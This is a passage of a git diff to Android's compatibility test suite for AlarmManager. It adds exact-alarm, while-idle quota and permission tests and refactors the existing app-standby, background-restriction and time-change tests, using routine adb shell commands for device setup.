                         intent.getParcelableExtra(EXTRA_ALARM_CLOCK_INFO);
-                Log.d(TAG, "Setting alarm clock " + alarmClockInfo);
+                Log.d(TAG, "Setting alarm clock " + alarmClockInfo + " id: " + id);
                 am.setAlarmClock(alarmClockInfo, alarmClockSender);
                 break;
             case ACTION_SET_ALARM:
@@ -70,7 +73,7 @@
                 final long interval = intent.getLongExtra(EXTRA_REPEAT_INTERVAL, 0);
                 final boolean allowWhileIdle = intent.getBooleanExtra(EXTRA_ALLOW_WHILE_IDLE,
                         false);
-                Log.d(TAG, "Setting alarm: type=" + type + ", triggerTime=" + triggerTime
+                Log.d(TAG, "Setting alarm: id=" + id + " type=" + type + ", triggerTime=" + triggerTime
                         + ", interval=" + interval + ", allowWhileIdle=" + allowWhileIdle);
                 if (interval > 0) {
                     am.setRepeating(type, triggerTime, interval, alarmSender);
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AlarmReceiver.java b/tests/AlarmManager/src/android/alarmmanager/cts/AlarmReceiver.java
new file mode 100644
index 0000000..e3c6ee2
--- /dev/null
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AlarmReceiver.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.SystemClock;
+import android.util.Log;
+import android.util.LongArray;
+
+import androidx.annotation.GuardedBy;
+
+import java.util.Arrays;
+
+public class AlarmReceiver extends BroadcastReceiver {
+    private static final String TAG = AlarmReceiver.class.getSimpleName();
+    public static final String ALARM_ACTION = "android.alarmmanager.cts.ALARM";
+    public static final String EXTRA_ALARM_ID = "android.alarmmanager.cts.extra.ALARM_ID";
+    public static final String EXTRA_QUOTAED = "android.alarmmanager.cts.extra.QUOTAED";
+
+    static Object sWaitLock = new Object();
+
+    @GuardedBy("sWaitLock")
+    private static int sLastAlarmId;
+    /** Process global history of all alarms received -- useful in quota calculations */
+    private static LongArray sHistory = new LongArray();
+
+    static synchronized long getNthLastAlarmTime(int n) {
+        if (n <= 0 || n > sHistory.size()) {
+            return 0;
+        }
+        return sHistory.get(sHistory.size() - n);
+    }
+
+    private static synchronized void recordAlarmTime(long timeOfReceipt) {
+        if (sHistory.size() == 0 || sHistory.get(sHistory.size() - 1) < timeOfReceipt) {
+            sHistory.add(timeOfReceipt);
+        }
+    }
+
+    static boolean waitForAlarm(int alarmId, long timeOut) throws InterruptedException {
+        final long deadline = SystemClock.elapsedRealtime() + timeOut;
+        synchronized (sWaitLock) {
+            while (sLastAlarmId != alarmId && SystemClock.elapsedRealtime() < deadline) {
+                sWaitLock.wait(timeOut);
+            }
+            return sLastAlarmId == alarmId;
+        }
+    }
+
+    /**
+     * Used to dump debugging information when the test fails.
+     */
+    static void dumpState() {
+        synchronized (sWaitLock) {
+            Log.i(TAG, "Last id: " + sLastAlarmId);
+        }
+        synchronized (AlarmReceiver.class) {
+            if (sHistory.size() > 0) {
+                Log.i(TAG, "History of quotaed alarms: " + Arrays.toString(sHistory.toArray()));
+            }
+        }
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if (ALARM_ACTION.equals(intent.getAction())) {
+            final int id = intent.getIntExtra(EXTRA_ALARM_ID, -1);
+            final boolean quotaed = intent.getBooleanExtra(EXTRA_QUOTAED, false);
+            if (quotaed) {
+                recordAlarmTime(SystemClock.elapsedRealtime());
+            }
+            synchronized (sWaitLock) {
+                sLastAlarmId = id;
+                sWaitLock.notifyAll();
+            }
+        }
+    }
+}
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
index a4456e1..3b384c2 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
@@ -49,7 +49,6 @@
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
-import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -71,7 +70,6 @@
     private static final long POLL_INTERVAL = 200;
 
     // Tweaked alarm manager constants to facilitate testing
-    private static final long ALLOW_WHILE_IDLE_SHORT_TIME = 10_000;
     private static final long MIN_FUTURITY = 1_000;
 
     // Not touching ACTIVE and RARE parameters for this test
@@ -145,13 +143,12 @@
         assumeTrue("App Standby not enabled on device", AppStandbyUtils.isAppStandbyEnabled());
     }
 
-    private void scheduleAlarm(long triggerMillis, boolean allowWhileIdle, long interval) {
+    private void scheduleAlarm(long triggerMillis, long interval) {
         final Intent setAlarmIntent = new Intent(TestAlarmScheduler.ACTION_SET_ALARM);
         setAlarmIntent.setComponent(mAlarmScheduler);
         setAlarmIntent.putExtra(TestAlarmScheduler.EXTRA_TYPE, ELAPSED_REALTIME_WAKEUP);
         setAlarmIntent.putExtra(TestAlarmScheduler.EXTRA_TRIGGER_TIME, triggerMillis);
         setAlarmIntent.putExtra(TestAlarmScheduler.EXTRA_REPEAT_INTERVAL, interval);
-        setAlarmIntent.putExtra(TestAlarmScheduler.EXTRA_ALLOW_WHILE_IDLE, allowWhileIdle);
         setAlarmIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
         mContext.sendBroadcast(setAlarmIntent);
     }
@@ -182,13 +179,13 @@
                 firstTrigger + ((quota - 1) * MIN_FUTURITY) < desiredTrigger);
         for (int i = 0; i < quota; i++) {
             final long trigger = firstTrigger + (i * MIN_FUTURITY);
-            scheduleAlarm(trigger, false, 0);
+            scheduleAlarm(trigger, 0);
             Thread.sleep(trigger - SystemClock.elapsedRealtime());
             assertTrue("Alarm within quota not firing as expected", waitForAlarm());
         }
 
         // Now quota is reached, any subsequent alarm should get deferred.
-        scheduleAlarm(desiredTrigger, false, 0);
+        scheduleAlarm(desiredTrigger, 0);
         Thread.sleep(desiredTrigger - SystemClock.elapsedRealtime());
         assertFalse("Alarm exceeding quota not deferred", waitForAlarm());
         final long minTrigger = firstTrigger + APP_STANDBY_WINDOW;
@@ -201,7 +198,7 @@
         setAppStandbyBucket("active");
         long nextTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
         for (int i = 0; i < 3; i++) {
-            scheduleAlarm(nextTrigger, false, 0);
+            scheduleAlarm(nextTrigger, 0);
             Thread.sleep(MIN_FUTURITY);
             assertTrue("Alarm not received as expected when app is in active", waitForAlarm());
             nextTrigger += MIN_FUTURITY;
@@ -227,7 +224,7 @@
     public void testNeverQuota() throws Exception {
         setAppStandbyBucket("never");
         final long expectedTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
-        scheduleAlarm(expectedTrigger, true, 0);
+        scheduleAlarm(expectedTrigger, 0);
         Thread.sleep(10_000);
         assertFalse("Alarm received when app was in never bucket", waitForAlarm());
     }
@@ -242,43 +239,11 @@
     }
 
     @Test
-    @Ignore("Broken until b/171306433 is completed")
-    public void testAllowWhileIdleAlarms() throws Exception {
-        setAppStandbyBucket("active");
-        final long firstTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
-        scheduleAlarm(firstTrigger, true, 0);
-        Thread.sleep(MIN_FUTURITY);
-        assertTrue("first allow_while_idle alarm did not go off as scheduled", waitForAlarm());
-        long lastTriggerTime = sAlarmHistory.getLast(1);
-        scheduleAlarm(lastTriggerTime + ALLOW_WHILE_IDLE_SHORT_TIME / 3, true, 0);
-        // First check for the case where allow_while_idle delay should supersede app standby
-        setAppStandbyBucket(APP_BUCKET_TAGS[WORKING_INDEX]);
-        Thread.sleep(ALLOW_WHILE_IDLE_SHORT_TIME / 2);
-        assertFalse("allow_while_idle alarm went off before short time", waitForAlarm());
-        long expectedTriggerTime = lastTriggerTime + ALLOW_WHILE_IDLE_SHORT_TIME;
-        Thread.sleep(expectedTriggerTime - SystemClock.elapsedRealtime());
-        assertTrue("allow_while_idle alarm did not go off after short time", waitForAlarm());
-
-        // Now the other case, app standby delay supersedes the allow_while_idle delay
-        lastTriggerTime = sAlarmHistory.getLast(1);
-        scheduleAlarm(lastTriggerTime + APP_STANDBY_WINDOW / 10, true, 0);
-        setAppStandbyBucket(APP_BUCKET_TAGS[RARE_INDEX]);
-        Thread.sleep(APP_STANDBY_WINDOW / 20);
-        assertFalse("allow_while_idle alarm went off before " + APP_STANDBY_WINDOW
-                + "ms, when in bucket " + APP_BUCKET_TAGS[RARE_INDEX], waitForAlarm());
-        expectedTriggerTime = lastTriggerTime + APP_STANDBY_WINDOW;
-        Thread.sleep(expectedTriggerTime - SystemClock.elapsedRealtime());
-        assertTrue("allow_while_idle alarm did not go off even after "
-                + APP_STANDBY_WINDOW
-                + "ms, when in bucket " + APP_BUCKET_TAGS[RARE_INDEX], waitForAlarm());
-    }
-
-    @Test
     public void testPowerWhitelistedAlarmNotBlocked() throws Exception {
         setAppStandbyBucket(APP_BUCKET_TAGS[RARE_INDEX]);
         setPowerWhitelisted(true);
         final long triggerTime = SystemClock.elapsedRealtime() + MIN_FUTURITY;
-        scheduleAlarm(triggerTime, false, 0);
+        scheduleAlarm(triggerTime, 0);
         Thread.sleep(MIN_FUTURITY);
         assertTrue("Alarm did not go off for whitelisted app in rare bucket", waitForAlarm());
         setPowerWhitelisted(false);
@@ -306,8 +271,6 @@
 
     private void updateAlarmManagerConstants() {
         mAlarmManagerDeviceConfigStateHelper.set("min_futurity", String.valueOf(MIN_FUTURITY));
-        mAlarmManagerDeviceConfigStateHelper.set("allow_while_idle_short_time",
-                String.valueOf(ALLOW_WHILE_IDLE_SHORT_TIME));
         mAlarmManagerDeviceConfigStateHelper.set("app_standby_window",
                 String.valueOf(APP_STANDBY_WINDOW));
         for (int i = 0; i < APP_STANDBY_QUOTAS.length; i++) {
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java b/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
index 81ed9c0..4257689 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
@@ -65,21 +65,19 @@
     private static final long POLL_INTERVAL = 200;
     private static final long MIN_REPEATING_INTERVAL = 10_000;
 
-    private Object mLock = new Object();
     private Context mContext;
     private ComponentName mAlarmScheduler;
     private DeviceConfigStateHelper mDeviceConfigStateHelper;
     private UiDevice mUiDevice;
-    private int mAlarmCount;
+    private volatile int mAlarmCount;
 
     private final BroadcastReceiver mAlarmStateReceiver = new BroadcastReceiver() {
         @Override
         public void onReceive(Context context, Intent intent) {
+            mAlarmCount = intent.getIntExtra(TestAlarmReceiver.EXTRA_ALARM_COUNT, 1);
             Log.d(TAG, "Received action " + intent.getAction()
                     + " elapsed: " + SystemClock.elapsedRealtime());
-            synchronized (mLock) {
-                mAlarmCount = intent.getIntExtra(TestAlarmReceiver.EXTRA_ALARM_COUNT, 1);
-            }
+
         }
     };
 
@@ -92,7 +90,9 @@
         mDeviceConfigStateHelper =
                 new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_ALARM_MANAGER);
         updateAlarmManagerConstants();
+        updateBackgroundSettleTime();
         setAppOpsMode(APP_OP_MODE_IGNORED);
+        makeUidIdle();
         final IntentFilter intentFilter = new IntentFilter();
         intentFilter.addAction(TestAlarmReceiver.ACTION_REPORT_ALARM_EXPIRED);
         mContext.registerReceiver(mAlarmStateReceiver, intentFilter);
@@ -156,6 +156,7 @@
     @After
     public void tearDown() throws Exception {
         deleteAlarmManagerConstants();
+        resetBackgroundSettleTime();
         setAppOpsMode(APP_OP_MODE_ALLOWED);
         // Cancel any leftover alarms
         final Intent cancelAlarmsIntent = new Intent(TestAlarmScheduler.ACTION_CANCEL_ALL_ALARMS);
@@ -189,14 +190,26 @@
         mUiDevice.executeShellCommand(commandBuilder.toString());
     }
 
+    private void updateBackgroundSettleTime() throws IOException {
+        mUiDevice.executeShellCommand(
+                "settings put global activity_manager_constants background_settle_time=100");
+    }
+
+    private void resetBackgroundSettleTime() throws IOException {
+        mUiDevice.executeShellCommand("settings delete global activity_manager_constants");
+    }
+
+    private void makeUidIdle() throws IOException {
+        mUiDevice.executeShellCommand("cmd devideidle tempwhitelist -r " + TEST_APP_PACKAGE);
+        mUiDevice.executeShellCommand("am make-uid-idle " + TEST_APP_PACKAGE);
+    }
+
     private boolean waitForAlarms(int expectedAlarms, long timeout) throws InterruptedException {
         final long deadLine = SystemClock.uptimeMillis() + timeout;
         int alarmCount;
         do {
             Thread.sleep(POLL_INTERVAL);
-            synchronized (mLock) {
-                alarmCount = mAlarmCount;
-            }
+            alarmCount = mAlarmCount;
         } while (alarmCount < expectedAlarms && SystemClock.uptimeMillis() < deadLine);
         return alarmCount >= expectedAlarms;
     }
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
index 86df15e..2d7397d 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
@@ -16,6 +16,9 @@
 
 package android.alarmmanager.cts;
 
+import static android.app.AlarmManager.ELAPSED_REALTIME_WAKEUP;
+import static android.app.AlarmManager.RTC_WAKEUP;
+
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
@@ -26,6 +29,7 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
 import android.provider.DeviceConfig;
 import android.util.Log;
 
@@ -48,6 +52,7 @@
 /**
  * Tests that system time changes are handled appropriately for alarms
  */
+@AppModeFull
 @LargeTest
 @RunWith(AndroidJUnit4.class)
 public class TimeChangeTests {
@@ -98,7 +103,7 @@
         final Intent alarmIntent = new Intent(ACTION_ALARM)
                 .setPackage(mContext.getPackageName())
                 .addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
-        mAlarmPi = PendingIntent.getBroadcast(mContext, 0, alarmIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        mAlarmPi = PendingIntent.getBroadcast(mContext, 0, alarmIntent, PendingIntent.FLAG_MUTABLE);
         final IntentFilter alarmFilter = new IntentFilter(ACTION_ALARM);
         mContext.registerReceiver(mAlarmReceiver, alarmFilter);
         mDeviceConfigStateHelper =
@@ -116,8 +121,7 @@
     public void elapsedAlarmsUnaffected() throws Exception {
         final long delayElapsed = 5_000;
         final long expectedTriggerElapsed = mTestStartElapsed + delayElapsed;
-        mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP,
-                expectedTriggerElapsed, mAlarmPi);
+        mAlarmManager.setExact(ELAPSED_REALTIME_WAKEUP, expectedTriggerElapsed, mAlarmPi);
         final long newRtc = mTestStartRtc - 32 * MILLIS_IN_MINUTE; // arbitrary, shouldn't matter
         setTime(newRtc);
         Thread.sleep(delayElapsed);
@@ -130,8 +134,7 @@
         final long newRtc = mTestStartRtc + 14 * MILLIS_IN_MINUTE; // arbitrary, but in the future
         final long delayRtc = 4_231;
         final long expectedTriggerRtc = newRtc + delayRtc;
-        mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, expectedTriggerRtc,
-                mAlarmPi);
+        mAlarmManager.setExact(RTC_WAKEUP, expectedTriggerRtc, mAlarmPi);
         Thread.sleep(delayRtc);
         assertFalse("Alarm fired before time was changed",
                 mAlarmLatch.await(DEFAULT_WAIT_MILLIS, TimeUnit.MILLISECONDS));
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/WhileIdleAlarmsTest.java b/tests/AlarmManager/src/android/alarmmanager/cts/WhileIdleAlarmsTest.java
new file mode 100644
index 0000000..41d6555
--- /dev/null
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/WhileIdleAlarmsTest.java
@@ -0,0 +1,336 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.AlarmManager;
+import android.app.AppOpsManager;
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.os.PowerWhitelistManager;
+import android.os.Process;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.DeviceConfig;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.AppOpsUtils;
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestWatcher;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.Random;
+
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class WhileIdleAlarmsTest {
+    /**
+     * TODO (b/171306433): Add tests for the following:
+     *
+     * Pre-S apps can:
+     * - use setAlarmClock freely -- no temp-allowlist
+     * - use setExactAndAWI with 7 / hr quota with standby and temp-allowlist
+     * - use setInexactAndAWI with 7 / hr quota with standby-bucket "ACTIVE" and temp-allowlist
+     *
+     * S+ apps with permission can:
+     * - use setInexactAWI with low quota + standby and no temp-allowlist.
+     * - use setInexactAWI with whitelist if in the whitelist.
+     */
+    private static final String TAG = WhileIdleAlarmsTest.class.getSimpleName();
+
+    private static final int ALLOW_WHILE_IDLE_QUOTA = 5;
+    private static final long ALLOW_WHILE_IDLE_WINDOW = 10_000;
+    private static final int ALLOW_WHILE_IDLE_COMPAT_QUOTA = 3;
+
+    /**
+     * Waiting generously long for success because the system can sometimes be slow to
+     * provide expected behavior.
+     * A different and shorter duration should be used while waiting for no-failure, because
+     * even if the system is slow to fail in some cases, it would still cause some
+     * flakiness and get flagged for investigation.
+     */
+    private static final long DEFAULT_WAIT_FOR_SUCCESS = 30_000;
+
+    private static final Context sContext = InstrumentationRegistry.getTargetContext();
+    private final AlarmManager mAlarmManager = sContext.getSystemService(AlarmManager.class);
+    private final PowerWhitelistManager mWhitelistManager = sContext.getSystemService(
+            PowerWhitelistManager.class);
+
+    private final DeviceConfigStateHelper mDeviceConfigHelper = new DeviceConfigStateHelper(
+            DeviceConfig.NAMESPACE_ALARM_MANAGER);
+    private final Random mIdGenerator = new Random(6789);
+
+    @Rule
+    public TestWatcher mFailLoggerRule = new TestWatcher() {
+        @Override
+        protected void failed(Throwable e, Description description) {
+            Log.i(TAG, "Debugging info for failed test: " + description.getMethodName());
+            Log.i(TAG, SystemUtil.runShellCommand("dumpsys alarm"));
+            AlarmReceiver.dumpState();
+        }
+    };
+
+    @Before
+    @After
+    public void resetAppOp() throws IOException {
+        AppOpsUtils.reset(sContext.getOpPackageName());
+    }
+
+    @Before
+    public void updateAlarmManagerConstants() {
+        mDeviceConfigHelper.set("min_futurity", "0");
+        mDeviceConfigHelper.set("allow_while_idle_quota", String.valueOf(ALLOW_WHILE_IDLE_QUOTA));
+        mDeviceConfigHelper.set("allow_while_idle_compat_quota",
+                String.valueOf(ALLOW_WHILE_IDLE_COMPAT_QUOTA));
+        mDeviceConfigHelper.set("allow_while_idle_window", String.valueOf(ALLOW_WHILE_IDLE_WINDOW));
+    }
+
+    @Before
+    public void putDeviceToIdle() {
+        SystemUtil.runShellCommandForNoOutput("dumpsys battery reset");
+        SystemUtil.runShellCommand("cmd deviceidle force-idle deep");
+    }
+
+    @Before
+    public void enableChange() {
+        SystemUtil.runShellCommand("am compat enable --no-kill REQUIRE_EXACT_ALARM_PERMISSION "
+                + sContext.getOpPackageName(), output -> output.contains("Enabled"));
+    }
+
+    @After
+    public void resetChanges() {
+        // This is needed because compat persists the overrides beyond package uninstall
+        SystemUtil.runShellCommand("am compat reset --no-kill REQUIRE_EXACT_ALARM_PERMISSION "
+                + sContext.getOpPackageName(), output -> output.contains("Reset"));
+    }
+
+    @After
+    public void removeFromWhitelists() {
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mWhitelistManager.removeFromWhitelist(sContext.getOpPackageName()));
+        SystemUtil.runShellCommand("cmd deviceidle tempwhitelist -r "
+                + sContext.getOpPackageName());
+    }
+
+    @After
+    public void restoreBatteryState() {
+        SystemUtil.runShellCommand("cmd deviceidle unforce");
+        SystemUtil.runShellCommandForNoOutput("dumpsys battery reset");
+    }
+
+    @After
+    public void restoreAlarmManagerConstants() {
+        mDeviceConfigHelper.restoreOriginalValues();
+    }
+
+    private static void revokeAppOp() throws IOException {
+        AppOpsUtils.setOpMode(sContext.getOpPackageName(), AppOpsManager.OPSTR_SCHEDULE_EXACT_ALARM,
+                AppOpsManager.MODE_IGNORED);
+    }
+
+    private static PendingIntent getAlarmSender(int id, boolean quotaed) {
+        final Intent alarmAction = new Intent(AlarmReceiver.ALARM_ACTION)
+                .setClass(sContext, AlarmReceiver.class)
+                .addFlags(Intent.FLAG_RECEIVER_FOREGROUND)
+                .putExtra(AlarmReceiver.EXTRA_ALARM_ID, id)
+                .putExtra(AlarmReceiver.EXTRA_QUOTAED, quotaed);
+        return PendingIntent.getBroadcast(sContext, 0, alarmAction,
+                PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);
+    }
+
+    @Test
+    public void hasPermissionByDefault() {
+        assertTrue(mAlarmManager.canScheduleExactAlarms());
+    }
+
+    @Test
+    public void noPermissionWhenIgnored() throws IOException {
+        revokeAppOp();
+        assertFalse(mAlarmManager.canScheduleExactAlarms());
+    }
+
+    @Test
+    public void hasPermissionWhenAllowed() throws IOException {
+        AppOpsUtils.setOpMode(sContext.getOpPackageName(), AppOpsManager.OPSTR_SCHEDULE_EXACT_ALARM,
+                AppOpsManager.MODE_ALLOWED);
+        assertTrue(mAlarmManager.canScheduleExactAlarms());
+    }
+
+    @Test(expected = SecurityException.class)
+    public void setAlarmClockWithoutPermission() throws IOException {
+        revokeAppOp();
+        mAlarmManager.setAlarmClock(new AlarmManager.AlarmClockInfo(0, null), getAlarmSender(0,
+                false));
+    }
+
+    private void whitelistTestApp() {
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mWhitelistManager.addToWhitelist(sContext.getOpPackageName()));
+    }
+
+    @Test(expected = SecurityException.class)
+    public void setAlarmClockWithoutPermissionWithWhitelist() throws IOException {
+        revokeAppOp();
+        whitelistTestApp();
+        mAlarmManager.setAlarmClock(new AlarmManager.AlarmClockInfo(0, null), getAlarmSender(0,
+                false));
+    }
+
+    @Test
+    public void setAlarmClockWithPermission() throws Exception {
+        final long now = System.currentTimeMillis();
+        final int numAlarms = 100;   // Number much higher than any quota.
+        for (int i = 0; i < numAlarms; i++) {
+            final int id = mIdGenerator.nextInt();
+            final AlarmManager.AlarmClockInfo alarmClock = new AlarmManager.AlarmClockInfo(now,
+                    null);
+            mAlarmManager.setAlarmClock(alarmClock, getAlarmSender(id, false));
+            assertTrue("Alarm " + id + " not received",
+                    AlarmReceiver.waitForAlarm(id, DEFAULT_WAIT_FOR_SUCCESS));
+        }
+    }
+
+    @Test(expected = SecurityException.class)
+    public void setExactAwiWithoutPermissionOrWhitelist() throws IOException {
+        revokeAppOp();
+        mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME, 0,
+                getAlarmSender(0, false));
+    }
+
+    @Test
+    public void setExactAwiWithoutPermissionWithWhitelist() throws Exception {
+        revokeAppOp();
+        whitelistTestApp();
+        final long now = SystemClock.elapsedRealtime();
+        // This is the user whitelist, so the app should get unrestricted alarms.
+        final int numAlarms = 100;   // Number much higher than any quota.
+        for (int i = 0; i < numAlarms; i++) {
+            final int id = mIdGenerator.nextInt();
+            mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP, now,
+                    getAlarmSender(id, false));
+            assertTrue("Alarm " + id + " not received",
+                    AlarmReceiver.waitForAlarm(id, DEFAULT_WAIT_FOR_SUCCESS));
+        }
+    }
+
+    @Test
+    public void setExactAwiWithPermissionAndWhitelist() throws Exception {
+        whitelistTestApp();
+        final long now = SystemClock.elapsedRealtime();
+        // The user whitelist takes precedence, so the app should get unrestricted alarms.
+        final int numAlarms = 100;   // Number much higher than any quota.
+        for (int i = 0; i < numAlarms; i++) {
+            final int id = mIdGenerator.nextInt();
+            mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP, now,
+                    getAlarmSender(id, false));
+            assertTrue("Alarm " + id + " not received",
+                    AlarmReceiver.waitForAlarm(id, DEFAULT_WAIT_FOR_SUCCESS));
+        }
+    }
+
+    private static void reclaimQuota(int quotaToReclaim) {
+        final long eligibleAt = getNextEligibleTime(quotaToReclaim);
+        long now;
+        while ((now = SystemClock.elapsedRealtime()) < eligibleAt) {
+            try {
+                Thread.sleep(eligibleAt - now);
+            } catch (InterruptedException e) {
+                Log.e(TAG, "Thread interrupted while reclaiming quota!", e);
+            }
+        }
+    }
+
+    private static long getNextEligibleTime(int quotaToReclaim) {
+        long t = AlarmReceiver.getNthLastAlarmTime(ALLOW_WHILE_IDLE_QUOTA - quotaToReclaim + 1);
+        return t + ALLOW_WHILE_IDLE_WINDOW;
+    }
+
+    @Test
+    @Ignore("Flaky on cuttlefish")  // TODO (b/171306433): Fix and re-enable
+    public void setExactAwiWithPermissionWithoutWhitelist() throws Exception {
+        reclaimQuota(ALLOW_WHILE_IDLE_QUOTA);
+
+        int alarmId;
+        for (int i = 0; i < ALLOW_WHILE_IDLE_QUOTA; i++) {
+            final long trigger = SystemClock.elapsedRealtime() + 500;
+            mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP, trigger,
+                    getAlarmSender(alarmId = mIdGenerator.nextInt(), true));
+            Thread.sleep(500);
+            assertTrue("Alarm " + alarmId + " not received",
+                    AlarmReceiver.waitForAlarm(alarmId, DEFAULT_WAIT_FOR_SUCCESS));
+        }
+        long now = SystemClock.elapsedRealtime();
+        final long nextTrigger = getNextEligibleTime(1);
+        assertTrue("Not enough margin to test reliably", nextTrigger > now + 5000);
+
+        mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP, now,
+                getAlarmSender(alarmId = mIdGenerator.nextInt(), true));
+        assertFalse("Alarm received when no quota", AlarmReceiver.waitForAlarm(alarmId, 5000));
+
+        now = SystemClock.elapsedRealtime();
+        if (now < nextTrigger) {
+            Thread.sleep(nextTrigger - now);
+        }
+        assertTrue("Alarm " + alarmId + " not received when back in quota",
+                AlarmReceiver.waitForAlarm(alarmId, DEFAULT_WAIT_FOR_SUCCESS));
+    }
+
+    private static void assertTempWhitelistState(boolean whitelisted) {
+        final String selfUid = String.valueOf(Process.myUid());
+        SystemUtil.runShellCommand("cmd deviceidle tempwhitelist",
+                output -> (output.contains(selfUid) == whitelisted));
+    }
+
+    @Test
+    public void alarmClockGrantsWhitelist() throws Exception {
+        final int id = mIdGenerator.nextInt();
+        final AlarmManager.AlarmClockInfo alarmClock = new AlarmManager.AlarmClockInfo(
+                System.currentTimeMillis() + 100, null);
+        mAlarmManager.setAlarmClock(alarmClock, getAlarmSender(id, false));
+        Thread.sleep(100);
+        assertTrue("Alarm " + id + " not received", AlarmReceiver.waitForAlarm(id,
+                DEFAULT_WAIT_FOR_SUCCESS));
+        assertTempWhitelistState(true);
+    }
+
+    @Test
+    public void exactAwiGrantsWhitelist() throws Exception {
+        reclaimQuota(1);
+        final int id = mIdGenerator.nextInt();
+        mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP,
+                SystemClock.elapsedRealtime() + 100, getAlarmSender(id, true));
+        Thread.sleep(100);
+        assertTrue("Alarm " + id + " not received", AlarmReceiver.waitForAlarm(id,
+                DEFAULT_WAIT_FOR_SUCCESS));
+        assertTempWhitelistState(true);
+    }
+}
diff --git a/tests/admin/AndroidTest.xml b/tests/admin/AndroidTest.xml
index b1acd9a..fccdc2b 100644
--- a/tests/admin/AndroidTest.xml
+++ b/tests/admin/AndroidTest.xml
@@ -49,7 +49,7 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.admin.cts" />
         <option name="runtime-hint" value="17m" />
-        <option name="exclude-annotation" value="com.android.compatibility.common.util.enterprise.annotations.RequireRunOnWorkProfile" />
+        <option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile" />
     </test>
 
 </configuration>
diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index d1085c7..a8d93b5 100644
